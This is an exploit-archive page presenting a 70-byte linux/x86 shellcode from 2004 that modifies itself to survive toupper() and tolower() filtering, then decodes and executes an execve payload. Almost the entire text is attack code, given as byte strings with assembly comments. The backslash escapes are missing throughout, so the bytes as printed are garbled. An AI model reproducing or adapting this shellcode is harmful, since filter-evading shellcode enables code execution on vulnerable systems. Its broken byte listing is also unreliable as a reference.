[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 Radically Self Modifying Code 70 bytes
# Published : 2004-12-22
# Author : xort
# Previous Title : linux/x86 alpha-numeric using IMUL Method shellcode 88 bytes
# Next Title : linux/x86 Magic Byte Self Modifying Code 76 bytes
/*-------------------------------------------------------*/
/* Radically Self Modifying Code for surviving */
/* toupper() and tolower() */
/* */
/* 70byte execve & _exit() code by XORt */
/*-------------------------------------------------------*/
"xebx12" /* jmp $0x12 */
"x5e" /* pop %esi */
/*-set-up-loop-counter-and-ajust-shellcode-pointer-------*/
"x31xc9" /* xor %ecx, %ecx */
"xb1x0b" /* mov $0xb, %cl */
"xffxc6" /* inc %esi */
/*-the-loop----------------------------------------------*/
"x81x06x5bx2dxd0xcb" /* addl $0xcbd02d5b, (%esi) */
"xad" /* lodsl */
"xe2xf7" /* loop -$0x9 */
/*--jump-into-shellcode----------------------------------*/
"xebx05" /* jmp $0x5 */
"xe8xe9xffxffxff" /* call -$0x17 */
/*--------------------------------------------[bytes:25]-*/
// //
/*--the-shellcode----------------------------------------*/
"xeb" /* --then encoded shellcode-- */
"xc4x30xb9xaa" /* */
"xadx03xf0xbc" /* */
"xebxd9xb8x7a" /* */
"xb1x82x3bxbd" /* */
"x98x60x7ex3c" /* */
"x32x29x3cx01" /* */
"x25x04x0bxbe" /* */
"x7dx13xfdxb4" /* */
"x8dxafx2fx34" /* */
"xa4x02x92x9d" /* */
"x13x02xa3x9c"; /* */
/*--------------------------------------------[bytes:45]-*/
// www.Syue.com [2004-12-22]